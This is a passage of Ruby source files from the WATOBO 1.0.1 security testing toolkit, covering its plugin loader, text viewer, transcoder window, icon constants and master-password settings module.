define_singleton_method("#{cvar}") {|val| instance_variable_set("@#{cvar}", val)} end path = File.join(File.dirname(caller[0])) subclass.plugin_path path if File.exist?(path) lpath = File.join(path, "lib") subclass.lib_path lpath if File.exist?(lpath) end def self.load_libs(*order) lpath = get_lib_path if order.empty? libs = Dir.glob("#{lpath}/*.rb") else libs = order.map {|l| l.to_s + ".rb"} end libs.each do |lib| puts "Loading library file: #{lib}" if $VERBOSE load File.join(lib) end end def self.gui @gui end def self.create_gui() if self.const_defined? :Gui gui = self.class_eval("Gui") @gui = gui.new() return @gui end puts "No GUI available for #{self}!" raise "No GUI available for #{self}!" #return nil end def self.load_gui(*order) # load if WATOBO is in GUI mode if Watobo.const_defined? :Gui # gui_path = File.join(File.dirname(caller[0]), "gui") gui_path = File.join(get_plugin_path, "gui") # TODO: change load ordering as follows # 1. load all libs defined in load definition # 2. load ALL other libs if order.empty? libs = Dir.glob("#{gui_path}/*") else libs = order.map {|l| File.join(gui_path, l.to_s + ".rb")} end begin main = libs.select {|l| l =~ /main.rb/i} load main.first # binding.pry libs.each do |lib| puts "loading gui-lib #{lib} ..." if $VERBOSE load lib end rescue => bang puts bang puts bang.backtrace binding.pry end else puts "WATOBO NOT IN GUI MODE!" end end def self.has_gui? puts self return true end end class PluginGui < FXDialogBox include Watobo::Gui include Watobo::Gui::Icons extend Watobo::Subscriber def self.inherited(subclass) %w( icon_file icons_path window_title width height config_path ).each do |cvar| define_method(cvar) {self.class.instance_variable_get("@#{cvar}")} define_singleton_method("get_#{cvar}") { return nil unless instance_variable_defined?("@#{cvar}") instance_variable_get("@#{cvar}") } define_singleton_method("#{cvar}") {|val| instance_variable_set("@#{cvar}", val)} end base_class = class_eval(subclass.to_s.gsub(/::Gui/, '')) plugin_path = base_class.get_plugin_path ipath = File.join(plugin_path, "icons") if File.exist?(ipath) # define_singleton_method("icons_path"){ "#{ipath}" } subclass.icons_path ipath end end def updateView() raise "!!! updateView not defined" end # tells GUI if plugin can handle single chats, e.g. a reciever for "send to"-menue def is_chat_reciever? @chat_reciever end def initialize(opts = {}) # _width = instance_variable_get("@width") # puts _width # puts _width.class copts = {:opts => DECOR_ALL, :width => 800, :height => 600} copts.update opts title = self.class.instance_variable_defined?("@window_title") ? window_title : "#{self}" super(Watobo::Gui.application, title, copts) # make configuration settings available extend Watobo::Config @chat_reciever = false @update_timer = nil @timer_lock = Mutex.new load_icon end private def load_icon ipath = icons_path ifile = icon_file #binding.pry return false if ipath.nil? or ifile.nil? myicon = File.join(ipath, ifile) puts "* loading icon > #{myicon}" if File.exist? myicon #puts "* loading icon > #{myicon}" self.icon = Watobo::Gui.load_icon(myicon) unless myicon.nil? else self.icon = nil end end def update_timer(ms = 250, &block) FXApp.instance.removeTimeout(@update_timer) unless @update_timer.nil? @update_timer = FXApp.instance.addTimeout(ms, :repeat => true) { @timer_lock.synchronize do if block_given? block.call if block.respond_to? :call end end } end def remove_timer FXApp.instance.removeTimeout(@update_timer) unless @update_timer.nil? @update_timer = nil end end end watobo-1.0.1/lib/watobo/gui/text_viewer.rb000066400000000000000000000164501366346341400205430ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class TextView2 < FXText attr_accessor :max_len public def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def matchIndex() @match_index end def numMatches() @pattern_matches.length end def showNextMatch() # puts "* showNextMatch -> #{@match_index+1}" showMatch(@match_index + 1) end def showPrevMatch() # puts "* showPrevMatch -> #{@match_index-1}" showMatch(@match_index - 1) end def setFont(font_type=nil, size=nil) new_size = size.nil? ? GUI_REGULAR_FONT_SIZE : size new_font_type = font_type.nil? ? "helvetica" : font_type new_font = FXFont.new(getApp(), new_font_type, new_size) new_font.create self.font = new_font end def highlight_code(pattern=nil) # remove all styles self.changeStyle(0, self.length-1, 0) mark = pattern.nil? ? @code_pattern : pattern sindex = nil pos = 0 match = [] text = self.to_s mark = "%%" loop do sindex = text.index(mark, pos) nli = text.index("\n", pos) break if sindex.nil? puts pos unless nli.nil? match = [] if nli < sindex end match << sindex if match.length == 2 start = match[0] len = match[1] - match[0] + mark.length self.changeStyle(start, len, @code_style) match = [] pos = sindex + mark.length - 1 else pos = sindex + mark.length end break if pos >= self.length-1 + mark.length end end def initialize(owner, opts) @pattern_matches = [] @raw_text = "" @match_index = 0 @event_dispatcher_listeners = Hash.new @parse_code = true @code_pattern = "%%" @code_style = 1 super(owner, opts) # Construct some hilite styles hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_green.normalBackColor = FXRGBA(0,255,0,1) # FXColor::White hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,255,255,255) #FXColor::Red hs_red.normalBackColor = FXRGBA(255,0,0,1) # FXColor::White hs_red.style = FXText::STYLE_BOLD # Enable the style buffer for this text widget self.styled = true # Set the styles self.hiliteStyles = [ hs_green, hs_red] self.editable = false self.textStyle |= TEXT_WORDWRAP self.connect(SEL_CHANGED){ if @parse_code highlight_code() end } end def setPrintable(text, prefs={}) @raw_text = text self.setText(normalizeText(@raw_text)) end # applies a specific filter (string or regex). # # It returns an array containing [pos, len] pairs of each match def applyFilter(pattern, prefs={}) cprefs = { :highlight => true, :style_index => 2} cprefs.update(prefs) if prefs.is_a? Hash dummy = self.to_s #remove previous highlighting self.killSelection() self.setText(dummy) @match_index = 0 @pattern_matches = matchPattern(pattern) if cprefs[:highlight] == true # puts "* found pattern #{pattern} #{@pattern_matches.length} times" @pattern_matches.each do |start, len| begin self.changeStyle(start, len, cprefs[:style_index]) rescue => bang puts "outch" puts bang end end end # now re-highlight input and set cursor to last pos return @pattern_matches end # reset() # this function removes all previous selections and highlightings def reset_text() self.setText(self.to_s) end # showMatch(index=0) # this function makes a specific match visible in the text field. # The default index value is 0. # The function returns the index of the current match index. def showMatch(match_index=0, prefs={}) cprefs = { :select_match => false } cprefs.update prefs return @match_index if @pattern_matches.empty? return @match_index if match_index > ( @pattern_matches.length - 1 ) return @match_index if match_index < 0 if @pattern_matches[match_index] then @match_index = match_index pos = @pattern_matches[match_index][0] len =@pattern_matches[match_index][1] self.setCenterLine(pos) # @textbox.makePositionVisible(pos + len) self.makePositionVisible(self.lineEnd(pos)) self.makePositionVisible(pos) self.setCursorPos(pos) self.killSelection() self.setSelection(pos, len) if cprefs[:select_match] == true end return @match_index end private # returns an array of matches. each match consists of two values [start, len] def matchPattern(pattern) sindex = nil eindex = nil pos = 0 pattern_matches = [] loop do sindex, eindex = self.findText(pattern, pos, SEARCH_EXACT|SEARCH_IGNORECASE|SEARCH_FORWARD) sindex, eindex = self.findText(pattern, pos, :flags => SEARCH_REGEX|SEARCH_IGNORECASE|SEARCH_FORWARD) if not sindex sindex, eindex = self.findText(Regexp.quote(pattern), pos, :flags => SEARCH_REGEX|SEARCH_IGNORECASE|SEARCH_FORWARD) if not sindex break if not sindex or sindex.length == 0 pos = eindex.last+1 sindex.length.times do |i| start = sindex[i] len = eindex[i] - sindex[i] pattern_matches.push [ start, len] if start >= 0 end break if sindex.last < 0 end return pattern_matches end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def normalizeText(text) puts text return "" if text.nil? ntext = "#{text}" ntext.gsub!("\r",'') # t = text.join.gsub(/\r/,"") if text.is_a? Array last = 0 while last < text.length match = ntext[last..-1].index("\n") if match nc = ntext[last..match-1].gsub(/[^[:print:]]/,'.') ntext[last..match-1] = nc # puts nc last += match+1 while ntext[last] == "\n" do last += 1 # puts last end else break end end ntext end def log(text) t = Time.now now = t.strftime("%m/%d/%Y @ %H:%M:%S") msg = "[#{now}] #{text}" notify(:error, msg) end end # of TextViewer2 end endwatobo-1.0.1/lib/watobo/gui/transcoder_window.rb000066400000000000000000000203631366346341400217270ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class TranscoderWindow < FXDialogBox include Watobo::Gui include Watobo::Gui::Utils include Watobo::Gui::Icons def setText(raw_text) @text = raw_text @hexViewer.setText(raw_text) #text = raw_text.gsub(/[^[:print:]]/,'.') text = raw_text.unpack("C*").pack("C*") text.gsub!(/\x0d+/, '') r = Regexp.new '[\x00-\x09\x0b-\x1f\x7f-\xff]+', nil, 'n' text.gsub!(r, '.') @textbox.setText(text) update_length_info end def update_length_info @len.text = @textbox.to_s.length.to_s end def onTextChanged(sender, sel, item) @text = @textbox.to_s @hexViewer.setText(@text) update_length_info end def onHashMD5(sender, sel, item) text = @textbox.text setText(Digest::MD5.hexdigest(text)) update_length_info end def onHashSHA1(sender, sel, item) text = @textbox.text setText(Digest::SHA1.hexdigest(text)) end def onDecodeB64(sender, sel, item) string2encode = @textbox.text.gsub(/[\r\n]/, "").strip string2encode.extend Watobo::Mixin::Transcoders setText(string2encode.b64decode) end def onEncodeB64(sender, sel, item) setText(Base64.strict_encode64(@text)) end def onEncodeURL(sender, sel, item) setText(CGI::escape(@textbox.text)) end def onDecodeURL(sender, sel, item) string2encode = @textbox.text string2encode.extend Watobo::Mixin::Transcoders setText(string2encode.url_decode) end def onDecodeHex(sender, sel, item) string2encode = @textbox.text string2encode.extend Watobo::Mixin::Transcoders setText(string2encode.hexdecode) end def onEncodeHex(sender, sel, item) string2encode = @textbox.text string2encode.extend Watobo::Mixin::Transcoders setText(string2encode.hexencode) end def onInflate(sender, sel, item) begin setText(Zlib::Inflate.new.inflate(@text)) rescue => bang puts bang puts @text end end def onDeflate(sender, sel, item) begin setText(Zlib::Deflate.deflate(@text)) rescue => bang puts bang puts @text end end def initialize(owner, text2transcode) # Invoke base class initialize function first super(owner, "Transcoder", :opts => DECOR_ALL, :width => 800, :height => 600) self.icon = ICON_TRANSCODER @text = text2transcode main = FXVerticalFrame.new(self, LAYOUT_FILL_X | LAYOUT_FILL_Y) info_frame = FXHorizontalFrame.new(main, :opts => FRAME_LINE | LAYOUT_FILL_X) main = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) @tabBook = FXTabBook.new(main, nil, 0, LAYOUT_FILL_X | LAYOUT_FILL_Y | LAYOUT_RIGHT) @lastTabIndex = 0 textviewer_tab = FXTabItem.new(@tabBook, "Text", nil) frame = FXVerticalFrame.new(@tabBook, LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_RAISED) text_frame = FXVerticalFrame.new(frame, LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_SUNKEN | FRAME_THICK, :padding => 0) #btn_frame = FXHorizontalFrame.new(main, :opts => FRAME_LINE|LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, # :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) btn_frame = FXHorizontalFrame.new(main, :opts => FRAME_SUNKEN | LAYOUT_SIDE_BOTTOM | LAYOUT_FILL_X | PACK_UNIFORM_WIDTH) FXLabel.new(info_frame, "Length:") @len = FXLabel.new(info_frame, "0") hex_tab = FXTabItem.new(@tabBook, "Hex", nil) frame = FXVerticalFrame.new(@tabBook, LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_RAISED) @hexViewer = HexViewer.new(frame) @tabBook.connect(SEL_COMMAND) { case @tabBook.current when 0 # when 1 @hexViewer.setText(@text) end @lastTabIndex = @tabBook.current } base64Group = FXGroupBox.new(btn_frame, "Base64", LAYOUT_SIDE_TOP | FRAME_GROOVE, 0, 0, 0, 0) btn_decode_b64 = FXButton.new(base64Group, "Encode", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X) btn_decode_b64.connect(SEL_COMMAND, method(:onEncodeB64)) btn_decode_b64 = FXButton.new(base64Group, "Decode", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X) btn_decode_b64.connect(SEL_COMMAND, method(:onDecodeB64)) urlGroup = FXGroupBox.new(btn_frame, "URL", LAYOUT_SIDE_TOP | FRAME_GROOVE, 0, 0, 0, 0) btn_decode_b64 = FXButton.new(urlGroup, "Encode", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X) btn_decode_b64.connect(SEL_COMMAND, method(:onEncodeURL)) btn_decode_b64 = FXButton.new(urlGroup, "Decode", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X) btn_decode_b64.connect(SEL_COMMAND, method(:onDecodeURL)) hexGroup = FXGroupBox.new(btn_frame, "Hex", LAYOUT_SIDE_TOP | FRAME_GROOVE, 0, 0, 0, 0) btn_decode_b64 = FXButton.new(hexGroup, "Encode", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X) btn_decode_b64.connect(SEL_COMMAND, method(:onEncodeHex)) btn_decode_b64 = FXButton.new(hexGroup, "Decode", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X) btn_decode_b64.connect(SEL_COMMAND, method(:onDecodeHex)) hashGroup = FXGroupBox.new(btn_frame, "Hash", LAYOUT_SIDE_TOP | FRAME_GROOVE, 0, 0, 0, 0) btn_hash_md5 = FXButton.new(hashGroup, "MD5", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X ) btn_hash_md5.connect(SEL_COMMAND, method(:onHashMD5)) btn_hash_sha1 = FXButton.new(hashGroup, "SHA-1", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X ) btn_hash_sha1.connect(SEL_COMMAND, method(:onHashSHA1)) zipGroup = FXGroupBox.new(btn_frame, "ZIP", LAYOUT_SIDE_TOP | FRAME_GROOVE, 0, 0, 0, 0) btn_inflate = FXButton.new(zipGroup, "Inflate", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X ) btn_inflate.connect(SEL_COMMAND, method(:onInflate)) btn_deflate = FXButton.new(zipGroup, "Deflate", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_LEFT | LAYOUT_FILL_X ) btn_deflate.connect(SEL_COMMAND, method(:onDeflate)) # @req_builder = FXText.new(req_editor, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @textbox = FXText.new(text_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | TEXT_WORDWRAP) #@textbox.textStyle |= TEXT_FIXEDWRAP @textbox.connect(SEL_CHANGED, method(:onTextChanged)) @textbox.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? FXMenuPane.new(self) do |menu_pane| pos = @textbox.selStartPos len = @textbox.selEndPos - pos selection = @textbox.extractText(pos, len) addStringInfo(menu_pane, sender) addDecoder(menu_pane, sender) addEncoder(menu_pane, sender) if @textbox.editable? FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane, "- Copy -") FXMenuSeparator.new(menu_pane) copyText = FXMenuCommand.new(menu_pane, "copy text: #{selection}", nil, @textbox, FXText::ID_COPY_SEL) target = FXMenuCheck.new(menu_pane, "word wrap") target.check = (@textbox.textStyle & TEXT_WORDWRAP > 0) ? true : false target.connect(SEL_COMMAND) do |tsender, tsel, titem| if tsender.checked? @textbox.textStyle |= TEXT_WORDWRAP else @textbox.textStyle ^= TEXT_WORDWRAP end end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if text2transcode then @init_text = text2transcode @textbox.setText(@init_text) update_length_info() end end end end end watobo-1.0.1/lib/watobo/gui/utils/000077500000000000000000000000001366346341400170035ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/gui/utils/gui_utils.rb000066400000000000000000000074361366346341400213460ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui module Utils def removeTags(text) if text.class.to_s =~ /Array/i then dummy = [] text.each do |line| chunk = line.gsub(/<[^>]*>/,'').strip dummy.push chunk.gsub("\x00","") if chunk.length > 0 end return dummy.join("\n") elsif text.class.to_s =~ /String/i then chunk = text.gsub(/<[^<]*>/,'').strip return chunk.gsub("\x00","") #return text.gsub(/\r/,"") end end def cleanupHTTP(text) if text.is_a?(Request) or text.is_a?(Response) dummy = [] text.each do |line| clean = line.unpack("C*").pack("C*") clean.gsub!(/\r/,'') clean.strip! clean.gsub!("\x00","") dummy << clean end return dummy.join("\n") elsif text.is_a? String chunk = text.gsub(/\r/,'').strip return chunk.gsub("\x00","") #return text.gsub(/\r/,"") end return nil end def replace_text(text_box, string) pos = text_box.selStartPos len = text_box.selEndPos - pos text_box.removeText(pos,len) text_box.insertText(pos, string) text_box.setSelection(pos, string.length, true) end def addStringInfo(menu_pane, text_box) pos = text_box.selStartPos len = text_box.selEndPos - pos string = text_box.extractText(pos, len) FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane,"- Info -") FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane,( "Length: #{string.length} (0x%0.2x)" % string.length)) end def addDecoder(menu_pane, text_box) pos = text_box.selStartPos len = text_box.selEndPos - pos string2decode = text_box.extractText(pos, len) string2decode.extend Watobo::Mixin::Transcoders FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane,"- Decoder -") FXMenuSeparator.new(menu_pane) decodeB64 = FXMenuCommand.new(menu_pane,"Base64: #{string2decode.b64decode}") decodeB64.connect(SEL_COMMAND) { replace_text(text_box, string2decode.b64decode) } decodeHex = FXMenuCommand.new(menu_pane,"Hex(A): #{string2decode.hexdecode}") decodeHex.connect(SEL_COMMAND) { replace_text(text_box, string2decode.hexdecode) } hex2int = FXMenuCommand.new(menu_pane,"Hex(Int): #{string2decode.hex2int}") hex2int.connect(SEL_COMMAND) { replace_text(text_box, string2decode.hex2int) } decodeURL = FXMenuCommand.new(menu_pane,"URL: #{string2decode.url_decode}") decodeURL.connect(SEL_COMMAND) { replace_text(text_box, string2decode.url_decode) } end def addEncoder(menu_pane, text_box) pos = text_box.selStartPos len = text_box.selEndPos - pos string2encode = text_box.extractText(pos, len) string2encode.extend Watobo::Mixin::Transcoders FXMenuSeparator.new(menu_pane) FXMenuCaption.new(menu_pane,"- Encoder -") FXMenuSeparator.new(menu_pane) encodeB64 = FXMenuCommand.new(menu_pane,"Base64: #{string2encode.b64encode}") encodeB64.connect(SEL_COMMAND) { replace_text(text_box, string2encode.b64encode) } encodeHex = FXMenuCommand.new(menu_pane,"Hex: #{string2encode.hexencode}") encodeHex.connect(SEL_COMMAND) { replace_text(text_box, string2encode.hexencode) } encodeURL = FXMenuCommand.new(menu_pane,"URL: #{string2encode.url_encode}") encodeURL.connect(SEL_COMMAND) { replace_text(text_box, string2encode.url_encode) } end end end end watobo-1.0.1/lib/watobo/gui/utils/init_icons.rb000066400000000000000000000116601366346341400214720ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui module Icons WATOBO_LOGO = Watobo::Gui.load_gui_icon("watobo-logo.png") ICON_CB_UNCHECKED = Watobo::Gui.load_gui_icon("cb_unchecked.ico") ICON_CB_CHECKED = Watobo::Gui.load_gui_icon("cb_checked.ico") ICON_CB_CHECKED_ORANGE = Watobo::Gui.load_gui_icon("cb_checked_orange.ico") #ICON_WATOBO = Watobo::Gui.load_gui_icon("watobo.ico") ICON_WATOBO = Watobo::Gui.load_gui_icon("watobo-128x128.png") ICON_POSTMAN = Watobo::Gui.load_gui_icon("icon.png") ICON_FUZZ_TAG = Watobo::Gui.load_gui_icon("tag_blue_32x32.ico") ICON_FUZZ_FILTER = Watobo::Gui.load_gui_icon("filter.ico") ICON_FUZZ_GENERATOR = Watobo::Gui.load_gui_icon("engine.ico") ICON_TOKEN = Watobo::Gui.load_gui_icon("coin_24x24.ico") ICON_MANUAL_REQUEST = Watobo::Gui.load_gui_icon("applications_24x24.ico") ICON_MANUAL_REQUEST_MEDIUM = Watobo::Gui.load_gui_icon("applications_24x24.ico") ICON_MANUAL_REQUEST_SMALL = Watobo::Gui.load_gui_icon("applications_16x16.ico") ICON_LOGIN_WIZZARD = Watobo::Gui.load_gui_icon("User.ico") ICON_DIFFER = Watobo::Gui.load_gui_icon("monitor.ico") ICON_SEQUENCER = Watobo::Gui.load_gui_icon("applications_24x24.ico") ICON_SEQUENCER_MEDIUM = Watobo::Gui.load_gui_icon("applications_24x24.ico") ICON_SEQUENCER_SMALL = Watobo::Gui.load_gui_icon("applications_16x16.ico") ICON_INTERCEPTOR = Watobo::Gui.load_gui_icon("interceptor_24x24.ico") ICON_START = Watobo::Gui.load_gui_icon("Play_24x24.ico") ICON_STOP = Watobo::Gui.load_gui_icon("Stop_24x24.ico") ICON_PAUSE = Watobo::Gui.load_gui_icon("Pause.ico") ICON_REPORT = Watobo::Gui.load_gui_icon("Write Document.ico") ICON_ADD_PROJECT = Watobo::Gui.load_gui_icon("Add_24x24.ico") ICON_DASHBOARD = Watobo::Gui.load_gui_icon("Bandwidth_24x24.ico") ICON_CONVERSATION = Watobo::Gui.load_gui_icon("conversation_24x24.ico") ICON_TRANSCODER = Watobo::Gui.load_gui_icon("calculator_24x24.ico") ICON_PROJECT = Watobo::Gui.load_gui_icon("browser_24x24.ico") ICON_FUZZER = Watobo::Gui.load_gui_icon("fuzzer_24x24.ico") ICON_FUZZER_MEDIUM = Watobo::Gui.load_gui_icon("fuzzer_24x24.ico") ICON_FUZZER_SMALL = Watobo::Gui.load_gui_icon("fuzzer_16x16.ico") ICON_PLUGIN = Watobo::Gui.load_gui_icon("plugin_24x24.ico") # Findings Tree Icons ICON_VULN = Watobo::Gui.load_gui_icon("Mr. Bomb_24x24.ico") ICON_VULN_BP = Watobo::Gui.load_gui_icon("BestPractice_24x24.ico") ICON_VULN_LOW = Watobo::Gui.load_gui_icon("Yellow Ball_24x24.ico") ICON_VULN_MEDIUM = Watobo::Gui.load_gui_icon("Orange Ball_24x24.ico") ICON_VULN_HIGH = Watobo::Gui.load_gui_icon("Red Ball_24x24.ico") ICON_VULN_CRITICAL = Watobo::Gui.load_gui_icon("burn_24x24.ico") ICON_INFO = Watobo::Gui.load_gui_icon("info_24x24.ico") ICON_INFO_INFO = Watobo::Gui.load_gui_icon("iChat_24x24.ico") ICON_INFO_USER = Watobo::Gui.load_gui_icon("User_24x24.ico") ICON_HINTS = Watobo::Gui.load_gui_icon("advanced_24x24.ico") ICON_HINTS_INFO = Watobo::Gui.load_gui_icon("help_24x24.ico") # small ICON_PROJECT_SMALL = Watobo::Gui.load_gui_icon("Web Browser_16x16.ico") ICON_VULN_SMALL = Watobo::Gui.load_gui_icon("Mr. Bomb_16x16.ico") ICON_VULN_BP_SMALL = Watobo::Gui.load_gui_icon("BestPractice_16x16.ico") ICON_VULN_LOW_SMALL = Watobo::Gui.load_gui_icon("Yellow Ball_16x16.ico") ICON_VULN_MEDIUM_SMALL = Watobo::Gui.load_gui_icon("Orange Ball_16x16.ico") ICON_VULN_HIGH_SMALL = Watobo::Gui.load_gui_icon("Red Ball_16x16.ico") ICON_VULN_CRITICAL_SMALL = Watobo::Gui.load_gui_icon("burn_16x16.ico") ICON_INFO_SMALL = Watobo::Gui.load_gui_icon("info_16x16.ico") ICON_INFO_INFO_SMALL = Watobo::Gui.load_gui_icon("iChat_16x16.ico") ICON_INFO_USER_SMALL = Watobo::Gui.load_gui_icon("User_16x16.ico") ICON_HINTS_SMALL = Watobo::Gui.load_gui_icon("advanced_16x16.ico") ICON_HINTS_INFO_SMALL = Watobo::Gui.load_gui_icon("help_16x16.ico") # Sites Tree Icons ICON_FOLDER = Watobo::Gui.load_gui_icon("folder.ico") ICON_REQUEST = Watobo::Gui.load_gui_icon("Transfer.ico") ICON_SITE = Watobo::Gui.load_gui_icon("server.ico") ICON_FOLDER_SMALL = Watobo::Gui.load_gui_icon("folder_16x16.ico") ICON_REQUEST_SMALL = Watobo::Gui.load_gui_icon("Transfer_16x16.ico") ICON_SITE_SMALL = Watobo::Gui.load_gui_icon("server_16x16.ico") ICON_SEND_REQUEST = Watobo::Gui.load_gui_icon("send.ico") ICON_BROWSER_SMALL = Watobo::Gui.load_gui_icon("browser_16x16.ico") ICON_BROWSER_MEDIUM = Watobo::Gui.load_gui_icon("browser_24x24.ico") ICON_BTN_UP = Watobo::Gui.load_gui_icon("go-up_16x16.png") ICON_BTN_DOWN = Watobo::Gui.load_gui_icon("go-down_16x16.png") TBL_ICON_LOCK = Watobo::Gui.load_gui_icon("lock_12x12.ico") SIBERAS_ICON = Watobo::Gui.load_gui_icon("siberas_logo_x24.gif") end end endwatobo-1.0.1/lib/watobo/gui/utils/load_icons.rb000066400000000000000000000016131366346341400214430ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui def self.load_gui_icon(name) return nil if @icon_path.nil? icon = load_icon(File.join(@icon_path, name)) end def self.load_icon(filename) begin icon = nil return icon if @application.nil? #filename = File.open(filename, "rb") do |f| if filename.strip =~ /\.ico$/ then icon = FXICOIcon.new(@application, f.read) #icon = FXICOIcon.new(getApp(), f.read) elsif filename.strip =~ /\.png$/ then icon = FXPNGIcon.new(@application, f.read) elsif filename.strip =~ /\.gif$/ then icon = FXGIFIcon.new(@application, f.read) end icon.create end icon rescue => bang puts "Couldn't load icon: #{filename}" puts bang end end end endwatobo-1.0.1/lib/watobo/gui/utils/load_plugins.rb000077500000000000000000000106501366346341400220150ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui @plugin_list = [] def self.add_plugin(p) @plugin_list << p end def self.plugins @plugin_list end def self.clear_plugins @plugin_list = [] end module Utils def self.load_plugins(project=nil, filter='.*') raise ArgumentError, "Need a project" unless project # this is the old plugin style plugin_dirs = [ "#{Watobo.plugin_path}" ] plugin_dirs << File.join(Watobo.working_directory, "plugins") plugin_dirs.each do |pdir| Dir["#{pdir}/*"].each do |sub| puts "FILTER #{sub} / #{filter}" next unless sub =~ /#{filter}/i if File.ftype(sub) == "directory" pgf = File.join(sub, "gui.rb") if File.exist? pgf puts "Loading Plugin GUI #{pgf} ..." group = File.basename(sub) plugin = File.basename(pgf).sub(/\.rb/,'') # load "#{@settings[:module_path]}/#{modules}/#{check}" group_class = group.slice(0..0).upcase + group.slice(1..-1).downcase # plugin_class = plugin.slice(0..0).upcase + plugin.slice(1..-1).downcase class_name = "Watobo::Plugin::#{group_class}::#{plugin_class}" puts puts ">> ClassName: #{class_name}" puts load pgf class_constant = Watobo.class_eval(class_name) Watobo::Gui.add_plugin class_constant.new(Watobo::Gui.application, project) else Dir["#{sub}/#{File.basename(sub)}.rb"].each do |plugin_file| begin puts "* processing plugin file #{plugin_file}" if $DEBUG load plugin_file group = File.basename(sub) plugin = File.basename(plugin_file).sub(/\.rb/,'') # load "#{@settings[:module_path]}/#{modules}/#{check}" group_class = group.slice(0..0).upcase + group.slice(1..-1).downcase # plugin_class = plugin.slice(0..0).upcase + plugin.slice(1..-1).downcase class_constant = Watobo.class_eval("Watobo::Plugin::#{group_class}::#{plugin_class}") Watobo::Gui.add_plugin class_constant.new(Watobo::Gui.application, project) rescue => bang puts bang if $DEBUG puts bang.backtrace if $DEBUG # notify(:logger, LOG_INFO, "problems loading plugin: #{plugin_file}") end end # this the way loading new plugins Dir["#{sub}/gui/#{File.basename(sub)}.rb"].each do |plugin_file| begin puts "* processing plugin file #{plugin_file}" if $DEBUG load plugin_file group = File.basename(sub) plugin = File.basename(plugin_file).sub(/\.rb/,'') # load "#{@settings[:module_path]}/#{modules}/#{check}" group_class = group.slice(0..0).upcase + group.slice(1..-1).downcase # plugin_class = plugin.slice(0..0).upcase + plugin.slice(1..-1).downcase class_name = "Watobo::Plugin::#{group_class}::Gui::Main" puts class_name class_constant = Watobo.class_eval(class_name) Watobo::Gui.add_plugin class_constant.new(Watobo::Gui.application, project) rescue => bang puts bang puts bang.backtrace if $DEBUG # notify(:logger, LOG_INFO, "problems loading plugin: #{plugin_file}") end end # Watobo::Plugin.constants.each do |pc| puts ">> PLUGIN >> #{pc.to_s}" pclass = Watobo::Plugin.class_eval(pc.to_s) if pclass.respond_to? :create_gui puts "ADD NEW PLUGIN #{pc.upcase}" # TODO: In later versions - if all plugins are switched to the new style - this will not be necessary here gui = pclass.create_gui() puts pclass.class # puts gui.class Watobo::Gui.add_plugin pclass # exit end end end end end end end #------------- end end endwatobo-1.0.1/lib/watobo/gui/utils/master_password.rb000066400000000000000000000030371366346341400225500ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui module MasterPW @master_password = '' @save_without_master = false @save_passwords = false # set the master password def self.set=(pw) @master_password = '' return false unless pw.is_a? String @master_password = pw true end def self.set? return false unless @master_password.is_a? String @master_password.empty? end def self.disable @save_without_master = false @master_password = '' end def self.enable @save_without_master = true end def self.save_passwords? @save_passwords end def self.save_passwords=(state) @save_passwords = state end def self.save_without_master=(state) @save_without_master = state end def self.save_without_master? @save_without_master end # retrieve the master password def self.get @master_password end # check if master password is set def self.enabled? return @master_password.empty? end def self.settings s = { :save_passwords => @save_passwords, :save_without_master => @save_without_master } end def self.settings=(s) return false unless s.is_a? Hash @save_passwords = s[:save_passwords] if s.has_key? :save_passwords @save_without_master = s[:save_without_master] if s.has_key? :save_without_master true end end end endwatobo-1.0.1/lib/watobo/gui/utils/save_default_settings.rb000066400000000000000000000066001366346341400237140ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui def self.save_settings() begin puts "SAVE SETTINGS" mp = '' save_pws = false # puts "= Master Password Settings =" # puts Watobo::Gui::MasterPW.settings.to_yaml if Watobo::Gui::MasterPW.save_passwords? save_pws = true unless Watobo::Gui::MasterPW.set? save_pws = false unless 